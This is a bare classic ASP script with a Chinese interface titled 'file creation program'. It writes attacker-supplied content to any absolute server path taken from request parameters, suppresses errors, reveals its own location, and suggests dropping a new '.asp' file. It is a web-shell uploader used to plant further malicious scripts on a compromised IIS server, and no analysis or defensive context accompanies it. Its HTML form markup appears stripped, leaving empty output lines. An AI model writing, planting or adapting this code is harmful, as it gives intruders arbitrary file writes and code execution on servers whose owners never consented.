dim objFSO dim fdata dim objCountFile on error resume next Set objFSO = Server.CreateObject ("Scripting.FileSystemObject") if Trim(request("syfdpath"))<>"" then fdata = request("cyfddata") Set objCountFile=objFSO.CreateTextFile(request ("syfdpath"),True) objCountFile.Write fdata if err =0 then response.write "save Success! " else response.write "Save UnSuccess! " end if err.clear end if objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing response.write "" response.write " ======================================= ===============
" response.write " 创建文件程序
" response.write " ========================================== ===================
" response.write " 本文件路径为： " response.write server.mappath (Request.ServerVariables("SCRIPT_NAME")) response.write "
" response.write "
" response.write " 填写绝对地址(例如 D:webx.asp):
" response.write " " response.write " " response.write "

脚本内容:

" response.write " " response.write " " response.write "" %>